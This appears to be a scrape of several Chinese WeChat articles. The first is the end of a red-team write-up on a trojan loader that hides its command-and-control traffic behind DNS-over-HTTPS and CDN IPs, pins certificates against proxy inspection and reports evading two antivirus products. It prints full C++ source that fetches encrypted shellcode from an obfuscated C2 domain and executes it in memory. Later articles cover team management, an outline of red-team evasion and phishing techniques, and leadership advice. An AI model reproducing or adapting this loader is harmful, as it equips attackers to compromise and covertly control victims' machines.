由于防守方无法判定是否为恶意流量，当他们杀疯了的时候是有可能会批量封锁CDN的IP的；或者某些CDN节点IP本来就是暂时失效的，所以通过DoH查询得到的IP列表并不一定都可达。

因此我在轮询查询的逻辑中添加了一个TCP端口探测的功能，即下图中调用的isTCPPortOpen()方法。当前节点IP的特定端口无法访问时，切换下一个节点IP进行测试，如果可以建立TCP三次握手则返回这个验证可达的IP地址。使用方法如下，在调用secureGetHostByName()的时候加一个参数指定需要探测连通性的端口即可，由于CDN使用https协议，这个端口通常是443。

2.4 服务端证书校验  

使用https的代码都是基于libcurl二次封装的，而libcurl默认状态就是支持证书校验的但这里有个天坑，掉进去了多半天才爬出来......libcurl的API参数名字容易产生误解，简而言之就是CURLOPT_SSL_VERIFYPEER开关才是验证证书有效性，而CURLOPT_SSL_VERIFYHOST开关其实只是验证证书里面的CN/SAN等字段和请求的URL种的域名/IP是否吻合，但并不会验证证书的有效性。详细说明如下。举个例子，比如挂上代理后通过burp访问百度，我们看到的证书是这样的：很显然，证书被burp替换了，浏览器会告警；这时候如果再访问搜狐，看到的证书是这样的：burp是会根据我们访问的host来动态修改证书的，而并不关心证书是否有效。如下图可以看到，右边被修改过的证书在Windows下会提示损坏，而左边的则是burp直接导出的自签名证书。因此如果没仔细看API文档，以为“PEER”代表的是客户端证书校验，那就根本起不到防中间人的作用。但是开启证书校验后我们需要根CA证书来验证信任链，而对于一个需要尽可能不做可疑行为的木马来说，肯定不能去用户的文件系统里搜索根证书，也最好不要随便释放文件。所以我们可以将自己携带根证书的数据（硬编码），用CURLOPT_CAINFO_BLOB来直接从内存里加载根证书，如下（这里要先设置CURLOPT_CAINFO为空指针，阻止libcurl优先去文件系统中找根证书的数据）。

3. 测试  

3.1 免杀测试  

简易的loader（没做任何源码和API处理）可过最新版360和火绒。

3.2 上线测试/流量分析  

如下图所示，可以正常上线，且从本地查看的所有网络行为均为https，看不到域名解析的动作。抓取全部流量分析，可以发现没有关联C2域名的DNS请求，下面的DNS请求是测试demo中内置的360的DoH域名服务器的域名，如果不想有这个解析过程的流量也可以直接硬编码域名服务器的IP地址（通常情况下没有必要）。剩下的就全都是TLS加密流量了，对端IP是CDN节点。而握手过程中JA3指纹也是OpenSSL库默认的，并没有什么特征。

3.3 证书替换测试  

没开启代理的时候运行程序（为方便查看细节，下面图中开启了Debug信息输出），可以通过证书校验并成功请求域名然后下载加密的beacon，如下。开启代理后，可以看到burp自作聪明的给伪造了个域名，但实际上我们的host写的是ip，因此直接就没有通过host校验，程序退出。如果我们放宽一些限制，关闭DoH部分的证书校验，再使用域名来请求DoH服务器，可以看到程序到链接C2-CDN的时候会由于证书校验没有通过而被终止。此时代理上也是没有抓到任何有效流量的。

4. 简易版loader

最后看一下这个简易版loader的本体 

# include <iostream># include "dns-over-https.h"
#pragma comment(lib, "dns-over-https-MD.lib")#pragma comment(lib, "dns-over-https-MT.lib")
void runShellcode(string shellcode_str) {// 这里的VirtualAlloc可以通过动态加载地址的方式隐藏API调用；// 如果想彻底避免R3 API Hook，也可以直接使用syscall；// 本文主要关注分离免杀和流量隐匿，故不做展开。    void* exec = VirtualAlloc(0, shellcode_str.size(), MEM_COMMIT, PAGE_EXECUTE_READWRITE);    if (exec != NULL) {        memcpy(exec, shellcode_str.c_str(), shellcode_str.size());        ((void(*)())exec)();    }}
string findValidDohServer() {    string tmpAddr = "";    while (TRUE) {        srand(time(NULL));        int randIndex = rand() % 16;        char dohServerList[16][256] = {            "208.67.222.222",            "208.67.220.220",            "1.0.0.1",            "1.1.1.1",            "8.8.8.8",            "8.8.4.4",            "185.222.222.222",            "185.184.222.222",            "223.5.5.5",            "223.6.6.6",            "120.53.53.53",            "1.12.12.12",            "101.199.113.208",            "36.99.170.86",            "180.163.249.75",            "175.24.154.66",        };        tmpAddr = dohServerList[randIndex];        if (isTCPPortOpen(tmpAddr, 443)) {            break;        }        else {            continue;        }            }    return "https://" + tmpAddr + "/dns-query";}
int main(int argc, char** argv){    string encodedDomainName = "P9g*****************************2tWD297e2AZ=";    string decodedDomainName = hex_decode(base64_decode(encodedDomainName));    string encodedPath = "PcSDP********************************AWB7cZo";    string decodedPath = hex_decode(base64_decode(encodedPath));    string key = "***********************";
    string ipRes = secureGetHostByName(findValidDohServer().c_str(), (char*)decodedDomainName.data(), 443).addr;    string data = httpsGet((char*)decodedDomainName.data(), ipRes, decodedPath);    string shellcode_str = rc4_encrypt_decrypt(hex_decode(base64_decode(data)), key);
    if (shellcode_str.size() > 0)        runShellcode(shellcode_str);
    return 0;}

如代码所示，没有做任何免杀处理，只是没有内置beacon shellcode。这个demo中的16个IP地址就是国内外常用的支持DoH的域名服务器（实际上还有更多）。这里我写的是随机取，当然也可以做有限次数的轮询，确保使用可以访问的服务器。防守方再疯狂也不至于上来就封掉所有域名服务器地址吧......

5. 总结   

比起几年前不成熟的尝试，这次做的分离木马没有再过多关注木马本身，主要精力放在了模块化开发上。因为首先对于如何执行shellcode的骚操作有很多，每个会写木马的都有一些自己独到的想法，但每人写的源码都互不兼容，如果在项目中有快速开发/修改的需求的话就会很被动。所以不管是DoH模块、https请求模块，还是另一个自写库函数中的反沙箱/反调试模块，都旨在可以实现快速的“搭积木式”木马开发。比如当我们想做个最普通的钓鱼木马时，只导入一个反调试模块就好，如果防守比较严格的情况下需要做分离木马，但又最好是单文件，那么就可以尝试这种远程加载的方式，导入对应模块调用封装好的函数即可快速成形。这些库函数集合日后还会不定期更新，后面也会看需求加入一些各种各样的执行shellcode的花活。

阅读原文

跳转微信打开

作为一个门派，武当派有技术、有人才、有活力、有法度，作为一个创业者，张三丰有毅力、有胸襟、有情怀、有分寸，这样的门派如果不成功简直天理难容。本文从人员招聘、企业文化、团队建设、人才梯队、复利主义、创新意识、奖惩等维度分析武当派的团队管理。

         

一、人员招聘

a)不仅仅要要有天赋（修炼上层武功的基础/高端技术的前提）

b)品行要正（最起码要跟团队价值观保持步调一致；例如，行侠仗义）

2.天赋和能力 能够决定做成事；但品德好，才能持续做成好事（为国为民），且团队可传承的重要品质。

二、使命愿景价值观

三、团队建设

a)老五在书法有一定的天赋，张三丰在得到俞岱岩变残后结合丧乱帖所创的倚天屠龙书法功，传给了张翠山；

b)老六殷梨亭剑术天赋，武当的“神门十三剑”单独传给了他。

c)技术传承固然重要，如果能充分结合团队内部的个人天赋，必然更能升维升华。

3.管理梯队

大弟子宋远桥本身资质就很好、武功也高、管理能力也不错、比较服众；其他弟子和大弟子并没有大面积大幅度的弱势差异，比如老二俞莲舟的武功基本和老大宋远桥相差无几，老五文武全才也深得张三丰喜爱，不会因为哪个弟子出点问题就让师父很头疼，人才梯队还是可以补位的，革职了宋远桥，直接俞莲舟就能接手；再加上企业文化的道家指引、练武合作的团队粘性，武当内斗和内耗很低。（技术团队也差不多）

五、复利主义

2.倚天后期俞莲舟跻身超一流水平

a)少林屠狮大会，俞莲舟评价周芷若武功不过尔尔

b)而范遥需要张无忌指点才能知道破解之法

六、创新意识

七、奖惩

阅读原文

跳转微信打开

1月7日 在ADconf分享了 攻防创新相关的议题

一、写在前面

1月7日 在ADconf分享了 《攻防技术创新探究》。在公众号归档下。

总体分析和归纳不一定准确，欢迎各位大佬指正。

官微链接

二、为什么讲创新

在技术发展的过程中，总会遇到极限出现的那一刻。一项技术在遭遇极限后只能就此停步。令人沮丧的是，极限点是不可避免的。

——《技术的本质》

发展瓶颈点分析：

• 个人瓶颈：技术瓶颈点、发展瓶颈点、高阶技术升华

• 团队瓶颈：赛道的选择、输出价值、技术认可

• 公司瓶颈：客户需求、商业价值、拔高能力

创新的意义：

• 解决瓶颈；

• 实现价值&创造新价值

关于创新三大误解：

• 创新就是发明创造；

• 创新是天才们的事情；

• 创新是灵光一现，孤立的，很难被学习和复制。

三、攻防场景创新

网络安全的创新动力：政策、场景、业务、理念、技术、模式…

     安全是相对万金油的存在，只要场景应用够大，这个场景的安全就会更成体系化，例如云计算的普及对应云安全就很典型；零信任全方面应用后 零信任本身的安全也会比较有价值；车联网的赛道场景强化，进一步增强了车联网安全的应用，甚至基于5G 鸿蒙体系的安全会更加普遍。

整体以攻防技术为内核、赛道场景为驱动（业务逻辑辅助）、应用场景越广泛意味着这个攻防赛道价值越高。

四、红队实战创新

实战几个问题，算不算创新？

1. 实战攻防中，在内外网信息收集上花费了多少时间？还有没有提升效率的空间？

2. 漏洞挖掘-0day储备，在储备的质量和数量，除了投入更多的研究员，还有哪些方法？

3. 社工钓鱼，除了常规的邮件、社交、功能等形式 还有哪些可以提高准度和效率的点？

4. 如何让自己的木马免杀持久性更好？而不是成为一个消耗品？（APT的马子）

5. 内网过程，除了扫描还有没有更精准快速的扩大战果的手段？

6. 破隔离、拿靶标？如何更高提升效率？

7. 二进制在攻防实战有哪些更好的应用？

红队创新点

红队创新点梳理：

1. 信息收集，基于业务资产的偏门资产组合拳，例如接口资产自动化、业务虚拟目录+Fuzz；

2. 代码审计，利用多类型漏洞组合拳组合Getshell链；

3. 打点，钓鱼自动化+人性化闭环；

4. 木马&免杀，基于业务流向的泛木马、基于自定义加密算法的魔改；

5. 内网横向，基于集权的维权与发包、专有协议、业务白名单、基于协议的认证突破；

6. 隔离突破&靶标，基于集权&边界设备的自动化精准发掘、认证突破

红队vsAPT组织 重点差异-隐匿

重点归纳下靶标侧：

1. 隔离突破：重点关注集权设备（AD k8s vcenter …）、边界设备(VPN、FW、SW)、Web应用-跨段（https 隐匿效果更佳）

2. 漏洞系列：1day&nday（相对比感知明显）、0day储备、临时挖day（基于临时源码&闭源代码），总体来看漏洞打过后尤其RCE效果在端侧还是有动静被监测。（也要看防守人员是否针对告警做处置，例如佯装攻击批量告警后的专项攻击）

3. 口令系列：密码提取&复用、规律提取、密码&验证码欺骗、基于社工的猜测推理

4. 认证系列：基于协议、票据、认证类的突破。相对无感，毕竟都是正常行为，管理员也是这个业务流量。

5. 手工渗透，组合拳。（top10类组合、 web&系统&组件的渗透组合）

6. 基于社会工程（搞人），二次钓鱼&精准钓鱼，运维管理、业务管理等

五、攻防业务创新

1. 攻防演练类，目前红队检测服务相对比较为成熟，还可以拓展红队专项评估，例如域安全评估、集权类专项评估（k8s、vcenter…）
2. 入侵与模拟攻击BAS
3. 云安全专项检测，本身对红队渗透有帮助，且可单独形成服务
4. 红队中，移动端的暴露面自动化探测
5. 红队中，借用api进行数据权限的获取，借助业务资产&表单构造寻找偏门资产，助力信息收集的最大化，实现ASM类的增值
6. 规划建议类，红队攻防咨询、沙盘推演；
1. 攻防咨询，基于红队检测结果，进行根因挖掘形成有效性检测建议（咨询类公司不一定好做，因为没有实际做，红队类没做总归是概念，做了就能得到验证）
2. 沙盘推演，企业类不一定好组织，需要的资源相对较多。但的确能够发掘更广泛的风险及影响，进而佐证价值点
3. 攻防咨询基于先执行了红队，基于结果来推动；沙盘有假设，不一定是（要）真打

阅读原文

跳转微信打开

团队打胜仗、GROW模型、BIC模型；让优秀的员工举一反三。“自己长出来”。

挖掘内容

一、团队，打胜仗

1. 古代战争，王侯将相

2. 近代：“这是命令”（只要僵持不下，长官说这一句基本都管用）

3. 前段，团队管理靠狼性；近段，团队管理靠生长

4. 背后的需求有共同点，升级路线或者希望：官级（九品？）、新希望（共同愿景）、物质回报、个人升值（市场）

二、物来则应，过去不留

1. 情顺万物而无情，庄子对这个世界的治愈

2. 自在无碍，所作皆成《心王铭》（扫地僧送了萧远山和慕容博几句话...）

三、正态分布

1. 在正常的世界里，所有的事物基本都符合正态分布

2. 疯狂世界则完全相反，其中会出现各种匪夷所思的可能性

3. 认可这个规律和事实。高级向往，始终是正态中间峰值的少数。但也要承认曲线内上坡下坡人的价值。

四、归属感和价值感 – 意义

1. 一个人终其一生就是不停的寻找两样东西，分别是归属感和价值感。

2. 价值感，做这件事的意义如何？最终有价值。

3. 呼兰脱口秀有一个，关于年轻人的工作意义。

五、低风险创业

1. 创业的意义，不是说创业就是为了上市（然后收割）后的财富自由，那样很快变得也会空虚。

2. 创业者要清楚地知道自己的项目能够解决什么社会问题，这是创业的起点，在某种意义上也可以视为终点。

3. 侠之大者为国为民，郭靖，学了那么多武功，为了什么呢？

六、批判性思维

1. 批判性思维是每一个人提升领导力的必经之路

2. 只有做出和别人不一样的东西，有与别人不一样的想法。才能通过独立思考去沉淀，才会创造出价值。【差异化优势】

3. 大脑皮层主要掌控的是我们的幽默感，幽默诙谐调侃自己也是一种坦然，直面自己的不足。

七、反脆弱，杠铃式配置

1. 推动历史的力量来自黑天鹅，脆弱性是不可避免的。——反脆弱

2. 反脆弱里面有个概念，叫【杠铃式配置】，我把资源配置在杠铃的两头，无论环境发生什么变化，我都有所准备，并从中获益；

3. 不要将自己局限在某一个领域，当自己被定性以后，反脆弱的能力就会消失。

4. 通过配置保险来提高自己和家庭对风险的抵抗能力；

八、务虚思考

1. 首先说明务虚思考不是提倡人们去务虚（毕竟跟我们常规理解的务实的特点有部分冲突）。只是说在成长路上留出时间去务虚思考也很重要。（其实也算是反脆弱杠铃的另一端）

2. 管理者需要抽调部分时去放空自己。去了解自己、去反脆弱、去突破。（每个阶段有不同的需求和目标）

3. 每个人都是带着偏见看待这个世界的，如果你没有偏见，那么你就没有看待这个世界的方式。-- 许知远

九、战胜贪婪与恐惧

1. 可能这个两个词在投资市场用的较多，在股市赚钱除了金融技术分析更关键还有心理学和哲学的应用，反向操作？

2. 对于领导力：人都有这样的弱点，一旦成功就想控制。控制既能带来成就的满足感，又能减少失控的恐惧感。

3. 作为管理者，我们最应该做的事情就是增加组织成功的可能性，让更多的人以更大的热情做方向大致正确的事情

十、价值观

        咏春第一套拳——小念头。念头不正，终身不正，习武修心，正念正行，不因外物而移，修武之路漫漫长远，不理解的声音有之、为现实所累亦有之，但无论外界如何，都不会影响心中的信仰。只要坚守自我，认真专注眼前每一刻，便能踏实笃定，无惧坎坷。朝着心中的信阳一直走下去。（阿迪达斯AD《致侠士》系列的第二篇章，以“律-原则不移”）

分析内容

樊登-可复制的领导力2 摘录及分析

樊登-可复制的领导力2引用的书籍

樊登-可复制的领导力

阅读原文

跳转微信打开

高效团队、招人留人、目标管理、自我管理、沟通艺术、知行合一

上一篇，技术管理所见所感-上卷

FAQ问题清单：

1. 如何向上、向下、跨部门、一对一沟通？

2. 为什么给了高工资，依然留不住核心员工？

3. 如何让自己更有说服力？

4. 为什么我们不为创新欢呼？

5. 为什么末尾绩效不认自己的绩效结果？

6. 团队leader是铲屎官吗？

7. 管理真的是管人管事吗？

8. 知道了就一定能做到吗？

本文目录结构：

高效团队、招人留人、目标管理、自我管理、沟通艺术、知行合一

1 高效团队

1.1 人性管理

技术管理的本质—要做尊重人性的管理

现在这个时代，对管理者的要求非常高。作为一名优秀的技术负责人，一定要给团队指出正确的方向，必须同时要懂业务、懂产品、懂技术，但是更重要的是对于技术团队成员的管理，人才才是整个公司的根本。

1.满足员工最本质的需求，而不是永远画大饼

2.知道如何去批评员工才能让人更容易接受

3.对员工的预期要事先表达清楚

   透明的做事方式能够减少内耗，也能够让员工有一个非常清晰的目标，事半功倍

4.对人公平，以结果为主

管理者要对所有员工都一视同仁，尤其是在最终绩效考核的时候，一定要以实际表现为最终衡量标准（有章可循）。

5.并不是每个人都想当管理者，提拔干部需要看个人特质

管理需要一定的决断力和气场，但很多同学其实是相对的“老好人”，当被拉到某一个管理岗位的时候，相对偏“软”的性格会导致一些管理上的劣势，不一定能镇得住团队其他人。

6.人都喜欢相对简单的环境，尤其技术人才

总的来说，人性其实都是一样的，我们从更根本的去了解人的需求，这样会更容易摸到规律。推荐 “第一性原理思维”，解决或者思考问题都需要从本质出发，有时候甚至要回归到物理学的底层逻辑去。那么管理，其实也需要我们静下心来，思考人性的本质和人的根本诉求，这样我们才能更好的管理团队。  

1.2 成员分档

团队成员简单为三类，一个是核心骨干，一个是骨干，一个是普通同学，不同的人有不同的带法，也就是不同的育人法和用人法。人才分档，大部分精力放在骨干、核心骨干上，承认精力有限后的资源最大化。“小白兔”员工放到合适的位置，切勿拔苗助长。

1.3 日常管理

以事育人，因材施教

   培养下属、管理干部的时候，必须用一些事情让他们得到锻炼、让他们证明自己;

扶上马，送一程;

言传身教，多做政委

   结合团队和个人发展目标，和下属共同制定他们的长线规划(被重视、被关怀)

容人之短，用人之长

   有心有力、无心无力、有心无力、 有力无心（挑战性、拔高性需求）。

每一个管理场景，总有一个最佳实践，所以我非常喜欢给我的员工做画像，因此才有之前提到的核心骨干、骨干、普通同学之分，才有有心有力、无心无力、有心无力、有力无心的区别。我们用大数据来分析我们的客户，为什么不能用数据来分析我们自己的兄弟，让他们在公司呆的更开心呢。

1.4 公平公正

一个团队的核心就是创造公平公正的环境

关于公平的五个核心准则

1.意识层面的核心准则

先定好规矩，然后说话算话（“以终为本，能力为尺，人人平等”）

2.角色层面的核心准则

哪些工作属于自己的高优先级

3.制度层面的核心准则

4.执行层面的核心准则

权限就像风筝线，部属能力强了就放一放；部属能力弱了就收一收。

5.奖惩层面的核心准则

奖惩的公平不一定是人人平等，且预设统一的幅度，有时候奖惩的一视同仁才是最大的不公平，毕竟一个团队中每个人的岗位和承担的责任都有所不同。基于前面说到的角色层面，每个角色承担的责任是不同的，那么奖惩幅度和标准也应该是不同的。比如决策人和责任人，是需要额外解决问题做出决策的，他们做的好，贡献更大，奖励更高；他们出现了问题，那么可能不是一个 bug 的问题，所以惩罚可能更重，也倒逼着这个角色需要具备相对高的决策能力和全局思考能力的人来承担。当然打一份工拿一份工资这样的人也有，而且再正常不过，那么相应的，每次都只承担基础操作工作的人，奖励相对少，当然能出现的问题也很小，所以惩罚幅度也小。有担当的人自然敢于挑战，想打一份安稳工的人也有他选择的权利。

1.5 激励管理

在管理中，高工资和奖金都是很有效的金钱激励手段，然而，还有很多非金钱激励手段，包括目标、成长、认可、授权、尊重、沟通、信任、文化等

1.6 复盘总结

   无论是个人还是团队，都需要持续精进和学习，各行各业要学的内容非常多，一直学，的确有增量知识，但要很快达到体系化，总是有困难的，高效的方法就是通过复盘识别举一反三的通用类问题，然后解决这一类问题，逐渐丰富知识树。团队成员通过多复盘多分享，将日常项目或产品研发过程中零散的知识点串联起来，才能完善自己的知识体系，真正提升一个层次。同时，其他团队同事也能从中学习经验，吸取教训。

可以复盘的内容很多，一位严格、高水平的技术Leader，这一环节应该是他花费大量时间的环节。复盘的参与人员不用很多，复盘会不要太严肃，它不是“批斗会”，而是为了总结经验，不断优化，不再犯同样的错误。对实践结果进行复盘，千万别做完实践就甩在一边了。找到自己这一次实践中犯的错误、需要改进的点、做做小笔记。当你量变产生质变的时候，回头看这些笔记，会特别的有感触。（知乎有篇帖子，真正的进步，是一个“不断打补丁”的过程）

所有的总结，带着问题去思考才会有收获，这就是复盘（总结经验和教训，沉淀业务与技术知识）。

1.7 创新路径

一个高效团队，完成工作甚至超额完成工作，大概率能让一个团队达到优秀。但从优秀到卓越的必经之路就是创新，当然创新也是一个技术人的高级追求。

基本认知

   没有精神层面的支持，创新是无从谈起的，因为创新实在是一项艰巨的工作，概念的建立不是一蹴而就的，需要反复地推敲、对比、自我否定。问题的定义更是自我意识游走在理想与现实之间，尝试各种问题边界的可能，不断地进行权衡。人生贵在坚持批判性思维，而不是简单的批评与抱怨。所有这些行动都是很困难的，因为它们会产生巨大的认知摩擦。

金庸《倚天屠龙记》描写了一个有趣的场景，张三丰闭关结束，展示新创的太极拳，结果大家面面相觑，无人喝彩。这个是真正的创新吧。

1. 最近我和一位朋友聊到“创新”这个话题。他说，奖励创新、欢呼创新，这些招对创新都没啥用。这是创新的本质决定的。

2. 创新的难度，不在于搞出一个新点子，而是突破原来的认知惯性。你想象一个场景：有个人开了一个发布会，公布了一个新产品，坐在台下的人惊呼，这产品太妙了，我要买。

3. 那你放心，这充其量也就是一个改进式创新。为啥？因为它是大家已经知道自己需要的，是一个对原来东西的优化。而真正巨大的创新，要全面突破原来的认知惯性，那怎么会有欢呼呢？只会有嘲笑和质疑。

4. 所以，流行的创新理论，什么针对痛点，什么用户体验，其实都不太成立。你就想，第一台蒸汽机车出现的时候，跑得也不快，毛病还一大堆，哪能解决什么痛点？又谈得上什么体验？所以你看，真正的创新最大的特点，可能就是我们不认识它，而且不会为它欢呼。

 —— 罗胖60秒：为什么我们不为创新欢呼？

从客户价值谈技术创新

1.技术创新要跳出技术本身思考

   把组织业务的发展需要纳入到自己的思考维度中，而且要放在非常重要的地位。

   在此之上再去思考如何用最合适的技术方案解决可能遇到的问题。

2.技术创新要围绕客户价值

   企业的核心是围绕客户价值实现的

   客户不一定是市场的客户，内部很多团队其实也是彼此的客户。

   技术团队如何更好地关注客户价值：

      组织文化（追求技术卓越的同时要将技术对业务和战略产生 Impact 作为重要衡量指标，避免过度设计和炫技）、

      研发流程（构建可快速交付客户价值的能力）、

      产品功能（要鼓励技术能够经常接触用户，不仅仅是来自产品和运营的“二手”需求，而让他们真正有机会去接触客户，激发灵感和创意）  

3.技术创新不能憋大招

   技术价值的释放曲线是一个 S 型，一开始呈现出的价值会比较低

   要先把技术的最小 MVP 快速地做出来，并且找一些应用场景，快速地根据反馈进行迭代。

趋势类

   云的兴起，对攻防的需求，业务孵化，例如云安全服务、接口安全；

   IOT兴起，固件分析…

   元宇宙…

2 招人留人

企业和团队的核心资产就是人才，招人工作不只是HR的工作（尤其技术大佬），也是每个技术Leader该重点关注的环节。这背后依托的是Leader个人品牌以及行业影响力。虽然招聘渠道有很多种，但信息安全行业，相对来讲 推荐的更靠谱。

2.1 关于招聘

1.仔细分析组织目标，业务需求，相对精准的招聘描述JD

2.特定圈内渠道（知名公众号、论坛）、人员（大佬相互举荐）

3.培养HR，关联业务，融入行业（精准猎取），猎头属性

4.日常行业关系的培养（人脉圈子）

5.团队品牌品牌建设及运营（酒香也怕巷子深，多吆喝着）

2.2 关于面试

1.设立评价标准（技术实力、软技能、技术热情、正能量、团队目标认同）

2.关注求职者的擅长点，切勿“用己之长攻他之短”，长板与团队的互补

3.多关注潜力（元认知），内功方向。一些技巧类是通过快速学习修成的

4.重点关注学习能力（自主学习、快速学习），学习的本质不是单纯学会知识，而是学会学习。这也是高学历的重要竞争力。毕竟IT类知识技能很容易“过时”。

5.关注能岗匹配，不是每个岗位都是大佬。需要清晰的定位

6.软技能同样非常重要（个性、动机、价值观、喜欢挑战）

2.3 关于留人

1.个人发展规划同企业组织目标一定得找一个结合点

a)我习惯让每个人新入职的同事写个人的规划书，半年度和年度再去Review

b)个人发展的规划，一般会融入兴趣（强调自驱动）

2.导师计划

a)收集诉求、需求、问题（技术问题、生活问题、工作问题）

b)归类问题，解决问题，并汇编成册（为下一个提供支持）

c)技术成长路线（技术目标，沟通对齐路径上的关键成果里程碑）

3.文化导向

a)企业文化、团队文化的主线，工程师文化（有追求、技术热爱）

b)正能量，强调自驱动、自律。

4.成就导向

a)完成的工作目标觉得很有意义，且长期复利

5.其他

a)目标类，参考目标设立&绩效结果，第三章

b)激励类，参考高效团队的激励管理，第一章

3 目标管理

3.1 目标设立

1.团队之所以为团队，是因为这些人有共同的目标

2.了解公司战略、组织目标、团队目标，去细化分析到每个人的目标（设立）

3.目标设立前，思考差异化优势以及完成后可能的结果，（考虑到可能存在求其上者得其中的效应）

4.目标设立中，包含几个档位：及格线、拔高线、优秀线，与每个人充分沟通对齐，让队友确认目标的背后意义以及过程路径（不是一蹴而就）

5.OKR（包括KPI、KRA），定方向 O（Objective），定数字目标 KR（Key Result）

a)普通人绩效关注KR 量化

b)高品质、高输出专家，重点围绕大“O”来，看实际成果价值和变化，而非量化结果的“完成率”，KR仅用来检视举措有效性，不作为评价依据。对大方向大O的贡献。

3.2 绩效结果

1.提前团队内部同步，绩效评价标准。例如

a)对团队、公司的贡献

b)技术实力、团队赋能、技术创新

c)文化价值观&工作态度

PS：避免有能力无贡献，同样避免有强能力但高度不够；对技术的追求

2.绩效结果如果存在末尾淘汰，即使有标准，肯定也会有人不满意，比较难沟通

a)无论是绩效结果如何，首先还是要肯定做的好的地方（切勿一斧子砍死，啥都不是，那沟通就结束了，芭比Q了）

b)针对做的不太好的地方，参考BIC模型，B事实、I影响、C后果

c)通过做的不好的案例，引导队员自己说出优化方案，Leader辅助给建议。（绩效沟通的核心目的就是表扬鼓励做的好的、引导优化改善做的不好的）

d)一般不建议绩效和奖金一起沟通，因为大家会过度关注奖金，而放弃最该关注的为什么是这个绩效。所以尽量分开沟通。

3.团队沟通绩效结束后，总结所有人表现好的案例，去表扬和激励。对不提倡的行为也统一宣贯说明。

4.根据绩效结果，关联奖金分配。（贡献与回报，多劳多得）

4 自我管理

4.1 管人管事

管人就是管团队，除了要招聘到很好很强的人才，组建一个很强的团队，并不断提高团队的实力之外，还需要做的是激发团队的热情，培养他们的主人翁精神，这样才能够更高效地开发日益复杂的软件产品、解决日益困难的技术问题。因此，管理者需要在各个方面都坚持比较高的标准，并不断的提高团队的能力标准

管事就是找准方向，如果你的方向是错的，即使你有一个好的团队，也是没法高效起来的。一将无能累死三军。另外，找到正确的方向之后，还要落地执行，而在执行过程中，会有各种各样的问题需要你去解决，包括对第三方的依赖、条件受限（时间不够、人力不足）、以及各种没有考虑到的项目风险。有时，一个小问题就可能会影响到整个项目的进度。所以，如何把复杂的逻辑简化掉（简化而不是简陋），如何把复杂的问题拆解成小问题并各个击破，如何在受限的条件下抓重点，如何说服别人统一大家的目标……这些都是管理者需要负责的。

自我管理的意思是说管理者自身的素质和自我的成长，通常来说，管理者就是这个团队的天花板，如果管理者自己不成长，那么团队就会受限，所以，管理者要修炼自己硬技能和软技能等各方面的能力，包括个人魅力、沟通能力等，从而提高自己的影响力。所谓影响力并不在于职位高低，而是当别人有困难的时候，是否会想到向你寻求建议或支持。一个 leader 的关键素养就是要能服众，能获得团队和客户的信任，之后，自然会赢得老板的信任。

   后来发现，管理的本质根本不是这两个方面（管人、管事），管理的本质是管结果。

4.2 自我提升

1.多向外看

需要经常了解外面发生了什么，了解前沿的技术发展，通过外部力量来影响团队。

紧跟时代的特点，了解新的资讯、新的变化，95 后、00 后（给他赋予一个意义是至关重要的）都慢慢步入社会，管理方式也在变化，自己也需要做出调整。

2.学习管理艺术

及时学习补充管理理论，必须牢记管理也是一门学问（很多技术出身的管理者常常认为技术人员是不需要管理的，特别是自己比较自律的那种），而技术人员往往容易做违反管理原则的事情，比如：事必躬亲，过分自信，通过自己努力虽然能解决部分问题，但是效果通常不好，长期如此团队成员没有发挥锻炼的机会，这样的管理者是培养不出人才，打造不出好的技术团队。最后自己累死了，也没把事情做好，更难把业务做大，最后还想不明白为什么？我们要牢记“专业的事情由专业的人去做”。要学习熟悉管理理论中的一些常识，比如 2/8 原则、PDCA 戴敏环、墨菲定律等等。

3.主抓团队成果

作为技术出身的管理者，还要学会从“自己做事”中跳出来改变为“指导团队做事”、以及“引导团队做事”。

4.多思考问题，多角度想问题，把问题想透彻，方法论比解决单个问题更有价值。

作为领导者，与其说是管理团队，不如说是管理自己。这里有两种能力非常重要：第一是认知能力，对于事情的判断要有自己的原则标准，以此来指导自己的工作，建议可以看一下《原则》这本书。第二是知行合一（就是心学大师王阳明倡导的），领导者是孤独的，不被理解将会是常态，你不得不向自己内心寻求答案，那里将是一个更为广阔的精神世界。

5.提升脑力、体力、心力

4.3 自律自由

1.形象自律

a)别油腻

2.言语自律

a)别吹

b)不要轻易打扰别人的生活

3.品行自律

a)登台时看的是能力，是机遇